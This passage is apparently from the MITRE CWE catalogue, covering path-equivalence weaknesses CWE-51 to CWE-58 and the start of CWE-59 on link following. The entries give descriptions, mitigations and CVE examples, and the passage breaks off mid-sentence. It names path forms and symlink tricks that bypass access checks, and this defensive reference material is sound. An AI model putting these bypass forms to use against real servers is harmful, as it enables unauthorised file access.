<b>CVE-2002-1238</b>	Server allows remote attackers to bypass access restrictions for files via an HTTP request with a sequence of multiple / (slash) characters such as <a href="http://www.example.com///file/">http://www.example.com///file/</a> . <a href="https://www.cve.org/CVERecord?id=CVE-2002-1238">https://www.cve.org/CVERecord?id=CVE-2002-1238</a>
<b>CVE-2004-1878</b>	Product allows remote attackers to bypass authentication, obtain sensitive information, or gain access via a direct request to <a href="http://admin/user.pl">admin/user.pl</a> preceded by // (double leading slash). <a href="https://www.cve.org/CVERecord?id=CVE-2004-1878">https://www.cve.org/CVERecord?id=CVE-2004-1878</a>
<b>CVE-2005-1365</b>	Server allows remote attackers to execute arbitrary commands via a URL with multiple leading "/" (slash) characters and ".." sequences. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1365">https://www.cve.org/CVERecord?id=CVE-2005-1365</a>
<b>CVE-2000-1050</b>	Access directory using multiple leading slash. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1050">https://www.cve.org/CVERecord?id=CVE-2000-1050</a>
<b>CVE-2001-1072</b>	Bypass access restrictions via multiple leading slash, which causes a regular expression to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1072">https://www.cve.org/CVERecord?id=CVE-2001-1072</a>
<b>CVE-2004-0235</b>	Archive extracts to arbitrary files using multiple leading slash in filenames in the archive. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0235">https://www.cve.org/CVERecord?id=CVE-2004-0235</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			//multiple/leading/slash ('multiple leading slash')
Software Fault Patterns	SFP16		Path Traversal

## CWE-51: Path Equivalence: '/multiple//internal/slash'

Weakness ID : 51

Structure : Simple

Abstraction : Variant

### Description

The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	41	Improper Resolution of Path Equivalence	83

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2002-1483</b>	Read files with full pathname using multiple internal slash. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1483">https://www.cve.org/CVERecord?id=CVE-2002-1483</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	⊗	981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/multiple//internal/slash ('multiple internal slash')
Software Fault Patterns	SFP16		Path Traversal

## CWE-52: Path Equivalence: '/multiple/trailing/slash/'

**Weakness ID :** 52

**Structure :** Simple

**Abstraction :** Variant






## Description

The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		163	Improper Neutralization of Multiple Trailing Special Elements	401
ChildOf		41	Improper Resolution of Path Equivalence	83
CanPrecede		289	Authentication Bypass by Alternate Name	666

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2002-1078</b>	Directory listings in web server using multiple trailing slash <a href="https://www.cve.org/CVERecord?id=CVE-2002-1078">https://www.cve.org/CVERecord?id=CVE-2002-1078</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			/multiple/trailing/slash// ('multiple trailing slash')
Software Fault Patterns	SFP16		Path Traversal

## CWE-53: Path Equivalence: '\multiple\internal\backslash'

**Weakness ID :** 53  
**Structure :** Simple  
**Abstraction :** Variant



### Description

The product accepts path input in the form of multiple internal backslash ('\multiple\trailing\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		165	Improper Neutralization of Multiple Internal Special Elements	404
ChildOf		41	Improper Resolution of Path Equivalence	83

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			\multiple\\internal\backslash
Software Fault Patterns	SFP16		Path Traversal

## CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)

**Weakness ID :** 54  
**Structure :** Simple  
**Abstraction :** Variant



## Description

The product accepts path input in the form of trailing backslash ('filedir\') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		162	Improper Neutralization of Trailing Special Elements	400
ChildOf		41	Improper Resolution of Path Equivalence	83

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2004-0847</b>	ASP.NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash), aka "Path Validation Vulnerability." <a href="https://www.cve.org/CVERecord?id=CVE-2004-0847">https://www.cve.org/CVERecord?id=CVE-2004-0847</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir\ (trailing backslash)
Software Fault Patterns	SFP16		Path Traversal

## CWE-55: Path Equivalence: './.' (Single Dot Directory)

**Weakness ID :** 55  
**Structure :** Simple  
**Abstraction :** Variant


## Description

The product accepts path input in the form of single dot directory exploit ('./.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		41	Improper Resolution of Path Equivalence	83

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2000-0004</b>	Server allows remote attackers to read source code for executable files by inserting a . (dot) into the URL. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0004">https://www.cve.org/CVERecord?id=CVE-2000-0004</a>
<b>CVE-2002-0304</b>	Server allows remote attackers to read password-protected files via a ./ in the HTTP request. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0304">https://www.cve.org/CVERecord?id=CVE-2002-0304</a>
<b>BID:6042</b>	Input Validation error <a href="http://www.securityfocus.com/bid/6042">http://www.securityfocus.com/bid/6042</a>
<b>CVE-1999-1083</b>	Possibly (could be a cleansing error) <a href="https://www.cve.org/CVERecord?id=CVE-1999-1083">https://www.cve.org/CVERecord?id=CVE-1999-1083</a>
<b>CVE-2004-0815</b>	"./././etc" cleansed to "././etc" then "/etc" <a href="https://www.cve.org/CVERecord?id=CVE-2004-0815">https://www.cve.org/CVERecord?id=CVE-2004-0815</a>
<b>CVE-2002-0112</b>	Server allows remote attackers to view password protected files via ./ in the URL. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0112">https://www.cve.org/CVERecord?id=CVE-2002-0112</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			./ (single dot directory)
Software Fault Patterns	SFP16		Path Traversal

## CWE-56: Path Equivalence: 'filedir\*' (Wildcard)

**Weakness ID** : 56

**Structure** : Simple

**Abstraction** : Variant

### Description

The product accepts path input in the form of asterisk wildcard ('filedir\*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		155	Improper Neutralization of Wildcards or Matching Symbols	387
ChildOf		41	Improper Resolution of Path Equivalence	83

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-2004-0696</b>	List directories using desired path and "" <a href="https://www.cve.org/CVERecord?id=CVE-2004-0696">https://www.cve.org/CVERecord?id=CVE-2004-0696</a>

Reference	Description
<b>CVE-2002-0433</b>	List files in web server using "*.ext" <a href="https://www.cve.org/CVERecord?id=CVE-2002-0433">https://www.cve.org/CVERecord?id=CVE-2002-0433</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	981	SFP Secondary Cluster: Path Traversal	888	2202

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			filedir* (asterisk / wildcard)
Software Fault Patterns	SFP16		Path Traversal

## CWE-57: Path Equivalence: 'fakedir/./readdir/filename'

**Weakness ID** : 57

**Structure** : Simple

**Abstraction** : Variant

### Description

The product contains protection mechanisms to restrict access to 'readdir/filename', but it constructs pathnames using external input in the form of 'fakedir/./readdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	41	Improper Resolution of Path Equivalence	83

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples



Reference	Description
<b>CVE-2001-1152</b>	Proxy allows remote attackers to bypass denylist restrictions and connect to unauthorized web servers by modifying the requested URL, including (1) a // (double slash), (2) a /SUBDIR/.. where the desired file is in the parentdir, (3) a ./, or (4) URL-encoded characters. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1152">https://www.cve.org/CVERecord?id=CVE-2001-1152</a>
<b>CVE-2000-0191</b>	application check access for restricted URL before canonicalization <a href="https://www.cve.org/CVERecord?id=CVE-2000-0191">https://www.cve.org/CVERecord?id=CVE-2000-0191</a>
<b>CVE-2005-1366</b>	CGI source disclosure using "dirname/./cgi-bin" <a href="https://www.cve.org/CVERecord?id=CVE-2005-1366">https://www.cve.org/CVERecord?id=CVE-2005-1366</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

### Notes

#### Theoretical

This is a manipulation that uses an injection for one consequence (containment violation using relative path) to achieve a different consequence (equivalence by alternate name).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			dirname/fakechild/./realchild/filename
Software Fault Patterns	SFP16		Path Traversal

## CWE-58: Path Equivalence: Windows 8.3 Filename

**Weakness ID** : 58

**Structure** : Simple

**Abstraction** : Variant

### Description

The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short "8.3" filename.

### Extended Description

On later Windows operating systems, a file can have a "long name" and a short name that is compatible with older Windows file systems, with up to 8 characters in the filename and 3 characters for the extension. These "8.3" filenames, therefore, act as an alternate name for files with long names, so they are useful pathname equivalence manipulations.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	41	Improper Resolution of Path Equivalence	83

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Windows (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

## Potential Mitigations

### Phase: System Configuration

Disable Windows from supporting 8.3 filenames by editing the Windows registry. Preventing 8.3 filenames will not remove previously generated 8.3 filenames.

## Observed Examples

Reference	Description
<b>CVE-1999-0012</b>	Multiple web servers allow restriction bypass using 8.3 names instead of long names <a href="https://www.cve.org/CVERecord?id=CVE-1999-0012">https://www.cve.org/CVERecord?id=CVE-1999-0012</a>
<b>CVE-2001-0795</b>	Source code disclosure using 8.3 file name. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0795">https://www.cve.org/CVERecord?id=CVE-2001-0795</a>
<b>CVE-2005-0471</b>	Multi-Factor Vulnerability. Product generates temporary filenames using long filenames, which become predictable in 8.3 format. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0471">https://www.cve.org/CVERecord?id=CVE-2005-0471</a>

## Functional Areas

- File Processing

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2202

## Notes

### Research Gap

Probably under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Windows 8.3 Filename
Software Fault Patterns	SFP16		Path Traversal

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-59: Improper Link Resolution Before File Access ('Link Following')

**Weakness ID** : 59**Structure** : Simple**Abstraction** : Base









### Description

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
ParentOf		61	UNIX Symbolic Link (Symlink) Following	113
ParentOf		62	UNIX Hard Link	115
ParentOf		64	Windows Shortcut Following (.LNK)	117
ParentOf		65	Windows Hard Link	119
ParentOf		1386	Insecure Operation on Windows Junction / Mount Point	2082
CanFollow		73	External Control of File Name or Path	128
CanFollow		363	Race Condition Enabling Link Following	849

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

### Weakness Ordinalities

**Resultant** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)**Operating\_System** : Windows (*Prevalence = Sometimes*)**Operating\_System** : Unix (*Prevalence = Often*)

### Background Details

Soft links are a UNIX term that is synonymous with simple shortcuts on Windows-based platforms.

### Alternate Terms

**insecure temporary file** : Some people use the phrase "insecure temporary file" when referring to a link following weakness, but other weaknesses can produce insecure temporary files without any symlink involvement at all.

**Zip Slip** : "Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	
	<i>An attacker may be able to traverse the file system to unintended locations and read or overwrite the contents of unexpected files. If the files are used for a security mechanism then an attacker may be able to bypass the mechanism.</i>	
Other	Execute Unauthorized Code or Commands	
	<i>Windows simple shortcuts, sometimes referred to as soft links, can be exploited remotely since a ".LNK" file can be uploaded like a normal file. This can enable remote execution.</i>	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

**Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

**Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

**Potential Mitigations****Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.

**Observed Examples**

Reference	Description
<b>CVE-1999-1386</b>	Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1386">https://www.cve.org/CVERecord?id=CVE-1999-1386</a>
<b>CVE-2000-1178</b>	Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1178">https://www.cve.org/CVERecord?id=CVE-2000-1178</a>
<b>CVE-2004-0217</b>	Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0217">https://www.cve.org/CVERecord?id=CVE-2004-0217</a>
<b>CVE-2003-0517</b>	Symlink attack allows local users to overwrite files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0517">https://www.cve.org/CVERecord?id=CVE-2003-0517</a>
<b>CVE-2004-0689</b>	Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0689">https://www.cve.org/CVERecord?id=CVE-2004-0689</a>
<b>CVE-2005-1879</b>	Second-order symlink vulnerabilities <a href="https://www.cve.org/CVERecord?id=CVE-2005-1879">https://www.cve.org/CVERecord?id=CVE-2005-1879</a>
<b>CVE-2005-1880</b>	Second-order symlink vulnerabilities <a href="https://www.cve.org/CVERecord?id=CVE-2005-1880">https://www.cve.org/CVERecord?id=CVE-2005-1880</a>
<b>CVE-2005-1916</b>	Symlink in Python program <a href="https://www.cve.org/CVERecord?id=CVE-2005-1916">https://www.cve.org/CVERecord?id=CVE-2005-1916</a>
<b>CVE-2000-0972</b>	Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0972">https://www.cve.org/CVERecord?id=CVE-2000-0972</a>
<b>CVE-2005-0824</b>	Signal causes a dump that follows symlinks. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0824">https://www.cve.org/CVERecord?id=CVE-2005-0824</a>
<b>CVE-2001-1494</b>	Hard link attack, file overwrite; interesting because program checks against soft links <a href="https://www.cve.org/CVERecord?id=CVE-2001-1494">https://www.cve.org/CVERecord?id=CVE-2001-1494</a>
<b>CVE-2002-0793</b>	Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2002-0793">https://www.cve.org/CVERecord?id=CVE-2002-0793</a>
<b>CVE-2003-0578</b>	Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0578">https://www.cve.org/CVERecord?id=CVE-2003-0578</a>
<b>CVE-1999-0783</b>	Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0783">https://www.cve.org/CVERecord?id=CVE-1999-0783</a>
<b>CVE-2004-1603</b>	Web hosting manager follows hard links, which allows local users to read or modify arbitrary files. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1603">https://www.cve.org/CVERecord?id=CVE-2004-1603</a>
<b>CVE-2004-1901</b>	Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1901">https://www.cve.org/CVERecord?id=CVE-2004-1901</a>
<b>CVE-2005-1111</b>	Hard link race condition <a href="https://www.cve.org/CVERecord?id=CVE-2005-1111">https://www.cve.org/CVERecord?id=CVE-2005-1111</a>
<b>CVE-2000-0342</b>	Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment." <a href="https://www.cve.org/CVERecord?id=CVE-2000-0342">https://www.cve.org/CVERecord?id=CVE-2000-0342</a>
<b>CVE-2001-1042</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1042">https://www.cve.org/CVERecord?id=CVE-2001-1042</a>
<b>CVE-2001-1043</b>	FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1043">https://www.cve.org/CVERecord?id=CVE-2001-1043</a>
<b>CVE-2005-0587</b>	Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0587">https://www.cve.org/CVERecord?id=CVE-2005-0587</a>
<b>CVE-2001-1386</b>	".LNK." - .LNK with trailing dot <a href="https://www.cve.org/CVERecord?id=CVE-2001-1386">https://www.cve.org/CVERecord?id=CVE-2001-1386</a>
<b>CVE-2003-1233</b>	Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link <a href="https://www.cve.org/CVERecord?id=CVE-2003-1233">https://www.cve.org/CVERecord?id=CVE-2003-1233</a>
<b>CVE-2002-0725</b>	File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0725">https://www.cve.org/CVERecord?id=CVE-2002-0725</a>
<b>CVE-2003-0844</b>	Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0844">https://www.cve.org/CVERecord?id=CVE-2003-0844</a>
<b>CVE-2015-3629</b>	A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container. <a href="https://www.cve.org/CVERecord?id=CVE-2015-3629">https://www.cve.org/CVERecord?id=CVE-2015-3629</a>
<b>CVE-2021-21272</b>	"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21272">https://www.cve.org/CVERecord?id=CVE-2021-21272</a>
<b>CVE-2020-27833</b>	"Zip Slip" vulnerability in container management product allows writing arbitrary files outside intended directory via a container image (.tar format) with filenames that are symbolic links that point to other files within the same



Reference	Description
